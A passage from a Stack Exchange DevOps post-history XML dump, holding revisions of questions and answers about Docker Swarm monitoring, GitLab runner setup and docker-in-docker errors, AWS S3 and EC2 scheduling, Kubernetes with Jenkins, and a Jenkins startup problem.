  <row Id="27780" PostHistoryTypeId="5" PostId="5254" RevisionGUID="0d20a005-9ade-44b1-88ae-972e79a566cf" CreationDate="2019-10-05T16:01:55.290" UserId="40" Comment="remove noise" Text="I have setup my monitoring with the _cadvisor, node-exporter, prometheus, grafana_ stack in my clustered environment using docker swarm.&#xD;&#xA;&#xD;&#xA;What is the easiest way to get my actual hostnames picked up by node-exporter, so I can configure my dashboards to filter by node names in grafana?&#xD;&#xA;&#xD;&#xA;For my kubernetes environments this works ootb, because all metrics are extended by the `kubernetes_io_hostname`, that contains the actual hostname.&#xD;&#xA;&#xD;&#xA;The only solution to this I found, so far, was to introduce my own metric, that creates the combination between node ids and node names (like done by https://github.com/bvis/docker-node-exporter). But I really like to use the vanilla image (for update reasons, for example) and also mounting some file with the configuration on all machines seems to be too much effort to do this.&#xD;&#xA;&#xD;&#xA;Is there an easy way to get the `hostname` of the node into my node-exporter metrics? Maybe by just mounting the hosts `/etc/hostname` file to a specific place in the node-exporter container, or something like that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27781" PostHistoryTypeId="4" PostId="5254" RevisionGUID="0d20a005-9ade-44b1-88ae-972e79a566cf" CreationDate="2019-10-05T16:01:55.290" UserId="40" Comment="remove noise" Text="How to get hostname from node-exporter in Docker Swarm?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27782" PostHistoryTypeId="5" PostId="9356" RevisionGUID="1b3d27b3-481b-4a81-9a16-36f3b1adf5a2" CreationDate="2019-10-05T16:02:51.783" UserId="40" Comment="fix formatting" Text="You just have to use the hostname on your docker compose file like this:&#xD;&#xA;&#xD;&#xA;    hostname: whatever-{{.Node.Hostname}}&#xD;&#xA;&#xD;&#xA;Note that you have to prepend something to the hostname to avoid hostnames duplicates. " ContentLicense="CC BY-SA 4.0" />
  <row Id="27783" PostHistoryTypeId="5" PostId="5939" RevisionGUID="d67d2d3a-cf9d-4124-a804-1d986a6e064e" CreationDate="2019-10-05T16:13:21.287" UserId="40" Comment="Integrate comments from OPer " Text="Our application is a combination of 4 different applications. The graphics part is running on a host and other 3 applications are running on 3 different **VMs**. Which uses bridge networking.&#xD;&#xA;&#xD;&#xA;    eg. Graphics app1 - 192.168.2.201 (Base Machine/HOST)&#xD;&#xA;        Application 2 - 192.168.2.202 (VM1)&#xD;&#xA;        Application 3 - 192.168.2.203 (VM2)&#xD;&#xA;        Application 4 - 192.168.2.204 (VM3)&#xD;&#xA;&#xD;&#xA;Which is running fine.  &#xD;&#xA;&#xD;&#xA;But, to get advantage of containers, we want to shift our VM applications into docker container. But in docker, when we are using Bridge Networking, it doesn't take IPs in HOST network, obviously because, Bridge network ID is not same as host. And application fails to run.  &#xD;&#xA;&#xD;&#xA;How can we achieve the Bridge Networking with same network ID (say 192.168.2.0)? We cannot use Host networking.&#xD;&#xA;&#xD;&#xA;Note: our application specifically wants IP in 192.168.2.0 network, otherwise it fails." ContentLicense="CC BY-SA 4.0" />
  <row Id="27784" PostHistoryTypeId="5" PostId="2620" RevisionGUID="0483a170-e049-42bd-a7cb-6312690d9543" CreationDate="2019-10-05T16:16:58.430" UserId="40" Comment="remove noise" Text="Is it too late to teach an old dog a new trick?&#xD;&#xA;&#xD;&#xA;I've always been the guy with a monolithic application/codebase. &#xD;&#xA;&#xD;&#xA;For more than 10 years now, I've gotten good at caching, writing good SQL queries, using Redis to store frequently called read data, using background jobs to perform updates, edits, long-running tasks, e.t.c&#xD;&#xA;&#xD;&#xA;Then again, I haven't had to deal with more than 100 million rows in a db before.&#xD;&#xA;&#xD;&#xA;Not until now, I've used up all my tricks and alas no significant improvement.&#xD;&#xA;&#xD;&#xA;Now I'm coming for advice from you smart devops people. &#xD;&#xA;&#xD;&#xA;For my current app, just recently I had a rails app, my DB, and some script in the /lib, Redis, Sidekiq, all on one, you guessed it, server.  &#xD;&#xA;&#xD;&#xA;I read up on Docker and now I have Sidekiq, Redis, my app, and my db all on different containers. &#xD;&#xA;&#xD;&#xA;Now, I'd like to split some functions on my app itself. This is where I need your help.&#xD;&#xA;&#xD;&#xA;For example: &#xD;&#xA;&#xD;&#xA;Script A: I have this ruby script(a ruby class) that crawls the web for backlink data. Script A only gathers links and removes links that have been parsed already. &#xD;&#xA;&#xD;&#xA;Script B: Another script that gets the links script A collected and retrieves the information I want from that link. &#xD;&#xA;&#xD;&#xA;Let's stop at that for now, so it doesn't get confusing. &#xD;&#xA;&#xD;&#xA;I'd like to run these scripts on their own servers, and they would connect to my app via api's. &#xD;&#xA;&#xD;&#xA;Both scripts are less than 1000 lines of code and are written in Ruby. &#xD;&#xA;&#xD;&#xA;Requirements &#xD;&#xA;&#xD;&#xA; 1. Both scripts require Selenium, Watir, and headless chrome to run. &#xD;&#xA; 2. The server must be able to autoscale as needed.&#xD;&#xA; 3. If the server is rate-limited or stuck in a link blackhole, I should be able to spin up a new server(host), with a different wan IP, with all the content of the script in as little time as possible. &#xD;&#xA; 4. The server should be affordable, as it's these are long running tasks. The script does not require a database as it only sends back important data back to my app via API. &#xD;&#xA; 5. In short, both scripts should be on their own server (host) and it should be easy to spin up a new one in no time. &#xD;&#xA;&#xD;&#xA;How do you suggest I go about it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27785" PostHistoryTypeId="5" PostId="3629" RevisionGUID="79b11094-8ff8-4d6b-badc-fed6552211fc" CreationDate="2019-10-05T16:20:44.597" UserId="40" Comment="remove noise, improve link title" Text="I'm going through some steps documented in [How Do I Upload Files and Folders to an S3 Bucket?](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/upload-objects.html) to get my ova into S3. Seems like a waste of time for me to download it and then upload it, is there a mechanism to import an S3 object from a web resource? &#xD;&#xA;&#xD;&#xA;I have a UCS Director job that builds OVAs for me, uploads them to a Cassandra big data cluster and serves out obfuscated links for me and customers to download them - I'd like to provide said obfuscated link to AWS instead of downloading it on my computer and uploading it to S3.  In the end, I think I could just make my images go straight from UCS Director to AWS, but for the time being, I'd like to save a step." ContentLicense="CC BY-SA 4.0" />
  <row Id="27786" PostHistoryTypeId="4" PostId="3629" RevisionGUID="79b11094-8ff8-4d6b-badc-fed6552211fc" CreationDate="2019-10-05T16:20:44.597" UserId="40" Comment="remove noise, improve link title" Text="Is it possible to load an image into S3 via an URL?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27787" PostHistoryTypeId="5" PostId="4744" RevisionGUID="75e7b1b9-a435-4e85-b3d3-5c767c234733" CreationDate="2019-10-05T16:24:55.737" UserId="40" Comment="Integrate comments from OPer " Text="I can think of a few different ways to achieve this.&#xD;&#xA;&#xD;&#xA;1. First and easiest way is to create a new **CloudWatch Events Rule** [1], set its &quot;Event Source&quot; to run on a schedule and &quot;Target&quot; to EC2 StopInstances API call with Instance IDs provided. Look at this screenshot for clarity:&#xD;&#xA;&#xD;&#xA;[![Creating a CloudWatch Event][2]][2]&#xD;&#xA;&#xD;&#xA;With this example, An event will start at every night at midnight and it will stop Instances by their IDs. You can change the schedule with cron expressions. See: [https://crontab.guru][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. You can implement any kind of custom logic with [AWS Lambda functions][3] and schedule them to be run with [a variety of AWS services][4] (including CloudWatch Events). &#xD;&#xA;&#xD;&#xA;For example, with a Lambda function you can implement logic to find instances by a tag, like *&quot;GoodBefore=2018-08-10&quot;*, and stop these instances. In fact you could even make use of API Gateway to expose an API for requesting instances, only to be terminated after a few days by their *&quot;GoodBefore*&quot; tag.&#xD;&#xA;&#xD;&#xA;Of course, while this way is much more customizable and sophisticated, it may prove hard especially if you don't have experience in programming.&#xD;&#xA;&#xD;&#xA;3. If you don't want to implement custom logic with Lambda, but also need more than what CloudWatch Events can provide, you can make use of [Instance Scheduler][5] solution provided by AWS. It's a similar solution to what I described in previous method, but this time AWS already did the hard work for you.&#xD;&#xA;&#xD;&#xA;[1] URL for us-east-1 region: https://console.aws.amazon.com/cloudwatch/home?region=us-east-1#rules:action=create&#xD;&#xA;&#xD;&#xA;Note: While I haven't used Instance Scheduler myself, I'm pretty sure it wouldn't decide on such things, and I think it only makes sense if it wouldn't do much more than simply making a stop call for the instance. So, on any stop event, either made by an automated solution or you, if your instances' root volume was created &quot;EBS-backed&quot;, it will retain the data. If it is &quot;instance store backed&quot;, it will lose the data. You can find this information from AWS EC2 console. If you want to retain data after stopping instances, make sure all volumes are EBS-backed when creating a new instance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://crontab.guru&#xD;&#xA;  [2]: https://i.stack.imgur.com/XdQBL.png&#xD;&#xA;  [3]: https://docs.aws.amazon.com/lambda/latest/dg/welcome.html&#xD;&#xA;  [4]: https://docs.aws.amazon.com/lambda/latest/dg/invoking-lambda-function.html&#xD;&#xA;  [5]: https://aws.amazon.com/answers/infrastructure-management/instance-scheduler/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27788" PostHistoryTypeId="2" PostId="9358" RevisionGUID="448b18d9-df01-43d2-a300-4880fb390478" CreationDate="2019-10-05T16:29:36.193" UserId="12217" Text="I've got a Chef repo that uses test-kitchen. I have a pretty good battery of tests, and when I run the tests and they're successful, I have a `vendor.sh` script that does some cleanup and a Berks vendor. What I'd like to be able to do is automatically run that script. I suppose I could just put `kitchen test {box}` into that script, but then I'd have to find a way to detect success (maybe this is easy) and deal with output and things like that; I'd rather just have Kitchen do it. &#xD;&#xA;&#xD;&#xA;I googled and searched and found nothing. Does anyone know a way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27789" PostHistoryTypeId="1" PostId="9358" RevisionGUID="448b18d9-df01-43d2-a300-4880fb390478" CreationDate="2019-10-05T16:29:36.193" UserId="12217" Text="How to have Kitchen CI run a script on success?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27790" PostHistoryTypeId="3" PostId="9358" RevisionGUID="448b18d9-df01-43d2-a300-4880fb390478" CreationDate="2019-10-05T16:29:36.193" UserId="12217" Text="&lt;chef&gt;&lt;inspec&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27791" PostHistoryTypeId="5" PostId="4615" RevisionGUID="b82dbe30-be9f-4cb2-bd59-60bb01bbb658" CreationDate="2019-10-05T16:30:25.793" UserId="40" Comment="improve title" Text="I have a GitLab repository.&#xD;&#xA;I want to add a runner to it.&#xD;&#xA;I was able to install it, with the instruction [here](https://docs.gitlab.com/runner/install/linux-manually.html) without Docker (step 3).&#xD;&#xA;&#xD;&#xA;Now I have to register it according to the instructions [here](https://docs.gitlab.com/runner/register/). In the beggining of that file it is wrriten that I have to obtain a token, but I don’t understand where do I obtain the token from.&#xD;&#xA;&#xD;&#xA;In [this link](https://docs.gitlab.com/ce/ci/runners/) it is wrriten that&#xD;&#xA;I can get the token from `CI/CD -&gt; settings`&#xD;&#xA;but `CI/CD` does not have a `settings` option.&#xD;&#xA;&#xD;&#xA;Also, in the registration instruction in step 2, it is written:&#xD;&#xA;`Please enter the gitlab-ci coordinator URL` but there is no documentation anywhere about what is this URL" ContentLicense="CC BY-SA 4.0" />
  <row Id="27792" PostHistoryTypeId="4" PostId="4615" RevisionGUID="b82dbe30-be9f-4cb2-bd59-60bb01bbb658" CreationDate="2019-10-05T16:30:25.793" UserId="40" Comment="improve title" Text="Where to obtain the token to register a GitLab runner?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27793" PostHistoryTypeId="5" PostId="6383" RevisionGUID="0db6aadb-0db5-4cac-af72-1a7ee37e2ac7" CreationDate="2019-10-05T17:13:54.843" UserId="40" Comment="improve title" Text="In the comments section of [this answer][1], it’s explained that the asker is a “(system) engineer practicing DevOps” not a DevOps engineer, and this it is an “important distinction” not often understood. &#xD;&#xA;&#xD;&#xA;So, what makes a DevOps Engineer NOT a DevOp Engineer? What is the distinction between a System Engineer and DevOps Engineer that is not often understood?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/1305/5154" ContentLicense="CC BY-SA 4.0" />
  <row Id="27794" PostHistoryTypeId="4" PostId="6383" RevisionGUID="0db6aadb-0db5-4cac-af72-1a7ee37e2ac7" CreationDate="2019-10-05T17:13:54.843" UserId="40" Comment="improve title" Text="What means “system engineer practicing DevOps”?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27796" PostHistoryTypeId="2" PostId="9359" RevisionGUID="92f8f9a7-9761-44b9-927f-a7d38f05eaf1" CreationDate="2019-10-06T01:08:19.710" UserId="17458" Text="I've recently created a new repository in gitlab.com, started a new Ubuntu instance in digitalocean, installed docker and gitlab-runner in the ubuntu instance. Also, did gitlab-runner register and passed the correct host and token from gitlab.com ci/cd settings. Pushed a branch, and the expected pipeline job runs but fails, presenting the error:&#xD;&#xA;&#xD;&#xA;    error during connect: Get http://docker:2375/v1.40/containers/json?all=1: dial tcp: lookup docker on 67.207.67.2:53: no such host&#xD;&#xA;&#xD;&#xA;I haven't done then just following the basic steps and expected it to work perfectly. By looking for the error when google search, there's no info.&#xD;&#xA;&#xD;&#xA;I wonder what causes this and if there is a way to fix it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27797" PostHistoryTypeId="1" PostId="9359" RevisionGUID="92f8f9a7-9761-44b9-927f-a7d38f05eaf1" CreationDate="2019-10-06T01:08:19.710" UserId="17458" Text="Gitlab CI error during connect: Get http://docker:2375/v1.40/containers/json?all=1: dial tcp: lookup docker on xx.xx.xx.x:xx: no such host" ContentLicense="CC BY-SA 4.0" />
  <row Id="27798" PostHistoryTypeId="3" PostId="9359" RevisionGUID="92f8f9a7-9761-44b9-927f-a7d38f05eaf1" CreationDate="2019-10-06T01:08:19.710" UserId="17458" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;&lt;docker-in-docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27799" PostHistoryTypeId="2" PostId="9360" RevisionGUID="8b0becf7-aa24-431e-8ccf-bea2adcac734" CreationDate="2019-10-06T07:03:39.320" UserId="17466" Text="I started building CI/CD pipeline using two Kubernetes clusters and one Jenkins. Two clusters are totally isolated as one is in the test environment and other in production.&lt;br&gt;&#xD;&#xA;After searching from many blogs, I come up with these approaches -&#xD;&#xA;1. Setup Jenkins master in production and one Jenkins slave/agent in the testing environment.&lt;br&gt;&#xD;&#xA;2. Make Kubernetes api-server of test environment accessible in production environment with proper firewall whitelisting and setup jenkins in production to deploy in both environments.&lt;br&gt;&lt;br&gt;&#xD;&#xA;I like to know which approach is better." ContentLicense="CC BY-SA 4.0" />
  <row Id="27800" PostHistoryTypeId="1" PostId="9360" RevisionGUID="8b0becf7-aa24-431e-8ccf-bea2adcac734" CreationDate="2019-10-06T07:03:39.320" UserId="17466" Text="Kubernetes and Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="27801" PostHistoryTypeId="3" PostId="9360" RevisionGUID="8b0becf7-aa24-431e-8ccf-bea2adcac734" CreationDate="2019-10-06T07:03:39.320" UserId="17466" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27802" PostHistoryTypeId="5" PostId="9360" RevisionGUID="1b5f9251-0c9c-4252-9f98-f15b20a8a209" CreationDate="2019-10-06T07:13:28.137" UserId="40" Comment="fix formatting" Text="I started building CI/CD pipeline using two Kubernetes clusters and one Jenkins. Two clusters are totally isolated as one is in the test environment and other in production.&#xD;&#xA;&#xD;&#xA;After searching from many blogs, I come up with these approaches:&#xD;&#xA;&#xD;&#xA;1. Setup Jenkins master in production and one Jenkins slave/agent in the testing environment.&#xD;&#xA;2. Make Kubernetes api-server of test environment accessible in production environment with proper firewall whitelisting and setup jenkins in production to deploy in both environments.&#xD;&#xA;&#xD;&#xA;I like to know which approach is better." ContentLicense="CC BY-SA 4.0" />
  <row Id="27803" PostHistoryTypeId="2" PostId="9361" RevisionGUID="1bf00829-adfd-49a5-9081-264de7e8fbcd" CreationDate="2019-10-06T09:56:50.893" UserId="17468" Text="I'm paying over $300/month for Kubernetes to have CI/CD in GitLab. And it only covers web apps, Android apps and deployment to Google Cloud. Plus some staging environments, that do not require many resources and that I'm using rarely. It doesn't cover CD to Apple App Store though.&#xD;&#xA;&#xD;&#xA;I'm curious if there is a way to optimize this? Maybe I should buy some hardware or optimize Google Cloud somehow?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27804" PostHistoryTypeId="1" PostId="9361" RevisionGUID="1bf00829-adfd-49a5-9081-264de7e8fbcd" CreationDate="2019-10-06T09:56:50.893" UserId="17468" Text="Cost-efficient hosting for CI/CD?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27805" PostHistoryTypeId="3" PostId="9361" RevisionGUID="1bf00829-adfd-49a5-9081-264de7e8fbcd" CreationDate="2019-10-06T09:56:50.893" UserId="17468" Text="&lt;kubernetes&gt;&lt;gitlab&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27806" PostHistoryTypeId="50" PostId="8044" RevisionGUID="921a4c7d-fa38-49de-8b7b-01feec410c0f" CreationDate="2019-10-06T10:00:45.477" UserId="-1" />
  <row Id="27807" PostHistoryTypeId="5" PostId="9359" RevisionGUID="5bfd0982-6758-441f-886a-5a3bbd342fc3" CreationDate="2019-10-06T11:54:31.820" UserId="17458" Comment="small amend" Text="I've recently created a new repository in gitlab.com, started a new Ubuntu instance in digitalocean, installed docker and gitlab-runner in the ubuntu instance. Also, did gitlab-runner register and passed the correct host and token from gitlab.com ci/cd settings. Pushed a branch, and the expected pipeline job runs but fails, presenting the error:&#xD;&#xA;&#xD;&#xA;    error during connect: Get http://docker:2375/v1.40/containers/json?all=1: dial tcp: lookup docker on 67.207.67.2:53: no such host&#xD;&#xA;&#xD;&#xA;Just followed the basic steps and expected it to work perfectly. By looking for the error when google search, there's no info.&#xD;&#xA;&#xD;&#xA;I wonder what causes this and if there is a way to fix it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27808" PostHistoryTypeId="5" PostId="9359" RevisionGUID="80c60438-09e5-4b49-83c8-c9dcb666c54c" CreationDate="2019-10-06T12:11:04.887" UserId="17458" Comment="add more details" Text="I've recently created a new repository in gitlab.com, started a new Ubuntu instance in digitalocean, installed docker and gitlab-runner in the ubuntu instance. Also, did gitlab-runner register and passed the correct host and token from gitlab.com ci/cd settings. Pushed a branch, and the expected pipeline job runs but fails, presenting the error:&#xD;&#xA;&#xD;&#xA;    error during connect: Get http://docker:2375/v1.40/containers/json?all=1: dial tcp: lookup docker on 67.207.67.2:53: no such host&#xD;&#xA;&#xD;&#xA;Just followed the basic steps and expected it to work perfectly. By looking for the error when google search, there's no info.&#xD;&#xA;&#xD;&#xA;The config.toml file, which is created automatically on gitlab-runner register:&#xD;&#xA;&#xD;&#xA;    concurrent = 1&#xD;&#xA;    check_interval = 0&#xD;&#xA;    &#xD;&#xA;    [[runners]]&#xD;&#xA;      name = &quot;digital ocean runner&quot;&#xD;&#xA;      url = &quot;https://gitlab.com/&quot;&#xD;&#xA;      token = &quot;xxxxxxxxxxxxxxxxx&quot;&#xD;&#xA;      executor = &quot;docker&quot;&#xD;&#xA;      [runners.docker]&#xD;&#xA;        tls_verify = false&#xD;&#xA;        image = &quot;ruby:2.1&quot;&#xD;&#xA;        privileged = false&#xD;&#xA;        disable_cache = false&#xD;&#xA;        volumes = [&quot;/cache&quot;]&#xD;&#xA;        shm_size = 0&#xD;&#xA;      [runners.cache]&#xD;&#xA;&#xD;&#xA;I wonder what causes this and if there is a way to fix it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27809" PostHistoryTypeId="5" PostId="9359" RevisionGUID="4fceb5ad-21fb-4aea-a235-7b50de8a9a18" CreationDate="2019-10-06T12:23:16.550" UserId="17458" Comment="amend" Text="I've recently created a new repository in gitlab.com, started a new Ubuntu instance in digitalocean, installed docker and gitlab-runner in the ubuntu instance. Also, did gitlab-runner register and passed the correct host and token from gitlab.com ci/cd settings. Pushed a branch, and the expected pipeline job runs but fails, presenting the error:&#xD;&#xA;&#xD;&#xA;    error during connect: Get http://docker:2375/v1.40/containers/json?all=1: dial tcp: lookup docker on 67.207.67.2:53: no such host&#xD;&#xA;&#xD;&#xA;Just followed the basic steps and expected it to work perfectly. By looking for the error when google search, there's no info.&#xD;&#xA;&#xD;&#xA;The config.toml file, which is created automatically on gitlab-runner register:&#xD;&#xA;&#xD;&#xA;    concurrent = 1&#xD;&#xA;    check_interval = 0&#xD;&#xA;    &#xD;&#xA;    [[runners]]&#xD;&#xA;      name = &quot;digital ocean runner&quot;&#xD;&#xA;      url = &quot;https://gitlab.com/&quot;&#xD;&#xA;      token = &quot;xxxxxxxxxxxxxxxxx&quot;&#xD;&#xA;      executor = &quot;docker&quot;&#xD;&#xA;      [runners.docker]&#xD;&#xA;        tls_verify = false&#xD;&#xA;        image = &quot;ruby:2.1&quot;&#xD;&#xA;        privileged = false&#xD;&#xA;        disable_cache = false&#xD;&#xA;        volumes = [&quot;/cache&quot;]&#xD;&#xA;        shm_size = 0&#xD;&#xA;      [runners.cache]&#xD;&#xA;&#xD;&#xA;Steps to reproduce&#xD;&#xA;&#xD;&#xA;    open a gitlab.com account&#xD;&#xA;    Install Ubuntu latest&#xD;&#xA;    Install gitlab-runner&#xD;&#xA;    do `register` and should have the config.toml above&#xD;&#xA;&#xD;&#xA;What causes this issue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27810" PostHistoryTypeId="5" PostId="9359" RevisionGUID="47baac7d-f656-40cd-bca0-19183e66cd9e" CreationDate="2019-10-06T12:46:05.337" UserId="17458" Comment="add the gitlab ci file" Text="I've recently created a new repository in gitlab.com, started a new Ubuntu instance in digitalocean, installed docker and gitlab-runner in the ubuntu instance. Also, did gitlab-runner register and passed the correct host and token from gitlab.com ci/cd settings. Pushed a branch, and the expected pipeline job runs but fails, presenting the error:&#xD;&#xA;&#xD;&#xA;    error during connect: Get http://docker:2375/v1.40/containers/json?all=1: dial tcp: lookup docker on 67.207.67.2:53: no such host&#xD;&#xA;&#xD;&#xA;Just followed the basic steps and expected it to work perfectly. By looking for the error when google search, there's no info.&#xD;&#xA;&#xD;&#xA;The config.toml file, which is created automatically on gitlab-runner register:&#xD;&#xA;&#xD;&#xA;    concurrent = 1&#xD;&#xA;    check_interval = 0&#xD;&#xA;    &#xD;&#xA;    [[runners]]&#xD;&#xA;      name = &quot;digital ocean runner&quot;&#xD;&#xA;      url = &quot;https://gitlab.com/&quot;&#xD;&#xA;      token = &quot;xxxxxxxxxxxxxxxxx&quot;&#xD;&#xA;      executor = &quot;docker&quot;&#xD;&#xA;      [runners.docker]&#xD;&#xA;        tls_verify = false&#xD;&#xA;        image = &quot;ruby:2.1&quot;&#xD;&#xA;        privileged = true&#xD;&#xA;        disable_cache = false&#xD;&#xA;        volumes = [&quot;/cache&quot;]&#xD;&#xA;        shm_size = 0&#xD;&#xA;      [runners.cache]&#xD;&#xA;&#xD;&#xA;The gitlab ci file:&#xD;&#xA;&#xD;&#xA;    image: docker:latest&#xD;&#xA;    services:&#xD;&#xA;      - docker:dind&#xD;&#xA;    stages:&#xD;&#xA;      - test&#xD;&#xA;    &#xD;&#xA;    test-build:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - echo &quot;Fine!&quot;&#xD;&#xA;        - docker info&#xD;&#xA;      tags:&#xD;&#xA;        - docker&#xD;&#xA;&#xD;&#xA;Steps to reproduce&#xD;&#xA;&#xD;&#xA;    open a gitlab.com account&#xD;&#xA;    Install Ubuntu latest&#xD;&#xA;    Install gitlab-runner&#xD;&#xA;    do `register` and should have the config.toml above&#xD;&#xA;&#xD;&#xA;What causes this issue?&#xD;&#xA;&#xD;&#xA;The error log for one one of the tests, not for the job above:&#xD;&#xA;&#xD;&#xA;    Running with gitlab-runner 12.3.0 (a8a019e0)&#xD;&#xA;      on foobar laptop szWcjfZg&#xD;&#xA;    Using Docker executor with image foobar/docker-bash ...&#xD;&#xA;    Starting service docker:dind ...&#xD;&#xA;    Authenticating with credentials from /Users/foobar/.docker/config.json&#xD;&#xA;    Pulling docker image docker:dind ...&#xD;&#xA;    Using docker image sha256:5768e15eefd175c1ba6969b616cfe827152556c5fe691b9258cb57d1a5c37e9d for docker:dind ...&#xD;&#xA;    Waiting for services to be up and running...&#xD;&#xA;    &#xD;&#xA;    *** WARNING: Service runner-szWcjfZg-project-14670943-concurrent-0-docker-0 probably didn't start properly.&#xD;&#xA;    &#xD;&#xA;    Health check error:&#xD;&#xA;    service &quot;runner-szWcjfZg-project-14670943-concurrent-0-docker-0-wait-for-service&quot; timeout&#xD;&#xA;    &#xD;&#xA;    Health check container logs:&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Service container logs:&#xD;&#xA;    2019-10-05T23:18:52.128774700Z Generating RSA private key, 4196 bit long modulus (2 primes)&#xD;&#xA;    2019-10-05T23:18:53.209639200Z .......................................................................................................................................................................................++++&#xD;&#xA;    2019-10-05T23:18:53.694383300Z .......................................................................................++++&#xD;&#xA;    2019-10-05T23:18:53.694784400Z e is 65537 (0x010001)&#xD;&#xA;    2019-10-05T23:18:53.710661300Z Generating RSA private key, 4196 bit long modulus (2 primes)&#xD;&#xA;    2019-10-05T23:18:53.789938500Z ............++++&#xD;&#xA;    2019-10-05T23:18:54.926850200Z ..............................................................................................................................................................................................................++++&#xD;&#xA;    2019-10-05T23:18:54.927064600Z e is 65537 (0x010001)&#xD;&#xA;    2019-10-05T23:18:54.953296700Z Signature ok&#xD;&#xA;    2019-10-05T23:18:54.953354500Z subject=CN = docker:dind server&#xD;&#xA;    2019-10-05T23:18:54.953422500Z Getting CA Private Key&#xD;&#xA;    2019-10-05T23:18:54.967240700Z /certs/server/cert.pem: OK&#xD;&#xA;    2019-10-05T23:18:54.970126300Z Generating RSA private key, 4196 bit long modulus (2 primes)&#xD;&#xA;    2019-10-05T23:18:55.244959900Z .................................................++++&#xD;&#xA;    2019-10-05T23:18:55.317443900Z ...........++++&#xD;&#xA;    2019-10-05T23:18:55.317858100Z e is 65537 (0x010001)&#xD;&#xA;    2019-10-05T23:18:55.339564700Z Signature ok&#xD;&#xA;    2019-10-05T23:18:55.339581700Z subject=CN = docker:dind client&#xD;&#xA;    2019-10-05T23:18:55.339671300Z Getting CA Private Key&#xD;&#xA;    2019-10-05T23:18:55.356469400Z /certs/client/cert.pem: OK&#xD;&#xA;    2019-10-05T23:18:55.359632000Z mount: permission denied (are you root?)&#xD;&#xA;    2019-10-05T23:18:55.359866500Z Could not mount /sys/kernel/security.&#xD;&#xA;    2019-10-05T23:18:55.359910700Z AppArmor detection and --privileged mode might break.&#xD;&#xA;    2019-10-05T23:18:55.361037300Z mount: permission denied (are you root?)&#xD;&#xA;    &#xD;&#xA;    *********&#xD;&#xA;    &#xD;&#xA;    Authenticating with credentials from /Users/foobar/.docker/config.json&#xD;&#xA;    Pulling docker image foobar/docker-bash ...&#xD;&#xA;    Using docker image sha256:2ecf555077c9d0a7df0cc45188094a84fbbae4ce4c28cac37a652e9765bf3157 for foobar/docker-bash ...&#xD;&#xA;    Authenticating with credentials from /Users/foobar/.docker/config.json&#xD;&#xA;    Running on runner-szWcjfZg-project-14670943-concurrent-0 via Foobar-MacBook-Pr.local...&#xD;&#xA;    Authenticating with credentials from /Users/foobar/.docker/config.json&#xD;&#xA;    Fetching changes with git depth set to 50...&#xD;&#xA;    Reinitialized existing Git repository in /builds/foobar/foobar-project/.git/&#xD;&#xA;    Checking out 4f9789a7 as review-ci-test...&#xD;&#xA;    &#xD;&#xA;    Skipping Git submodules setup&#xD;&#xA;    Authenticating with credentials from /Users/foobar/.docker/config.json&#xD;&#xA;    Authenticating with credentials from /Users/foobar/.docker/config.json&#xD;&#xA;    Authenticating with credentials from /Users/foobar/.docker/config.json&#xD;&#xA;    $ echo &quot;INFO - Clear exited containers&quot; # collapsed multi-line command&#xD;&#xA;    INFO - Clear exited containers&#xD;&#xA;    INFO - List all services running...&#xD;&#xA;    error during connect: Get http://docker:2375/v1.40/containers/json?all=1: dial tcp: lookup docker on 192.168.65.1:53: no such host&#xD;&#xA;    Authenticating with credentials from /Users/foobar/.docker/config.json&#xD;&#xA;    ERROR: Job failed: exit code 1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27811" PostHistoryTypeId="5" PostId="9342" RevisionGUID="35e8bf66-b32f-46c8-8bcc-ed37627ca19f" CreationDate="2019-10-06T17:28:40.833" UserId="6356" Comment="added 204 characters in body" Text="I've been trying to get a simple jenkins master node to start but it keeps getting stuck at the &quot;Please wait while Jenkins is getting ready to work&quot;.&#xD;&#xA;&#xD;&#xA;My setup is nothing exotic:&#xD;&#xA;jenkins is installed inside a LXC hosted by a proxmox 6 instance.&#xD;&#xA;10Go of RAM, 4CPU, 10G of hdd, debian 9&#xD;&#xA;&#xD;&#xA;I increased the lxc specs just in case (I started with 4G of RAM and 2 CPU)&#xD;&#xA;&#xD;&#xA;I tried a lot of different things such as:&#xD;&#xA;&#xD;&#xA; 1. Stop / start the jenkins soft&#xD;&#xA; 2. Stop / start the container&#xD;&#xA; 3. installing using debian package&#xD;&#xA; 4. Install using the war (see my service file below, only used for the war install style)&#xD;&#xA; 5. Installing on centos 7&#xD;&#xA; 6. Installing on qemu&#xD;&#xA;&#xD;&#xA;Service file:&#xD;&#xA;```&#xD;&#xA;[Unit]&#xD;&#xA;Description=Jenkins Daemon&#xD;&#xA;&#xD;&#xA;[Service]&#xD;&#xA;ExecStart=/usr/bin/java -jar /home/jenkins/jenkins.war --logfile=/home/jenkins/jenkins.log&#xD;&#xA;User=jenkins&#xD;&#xA;&#xD;&#xA;[Install]&#xD;&#xA;WantedBy=multi-user.target&#xD;&#xA;```&#xD;&#xA;The log doesn't contain any error except a WARNING 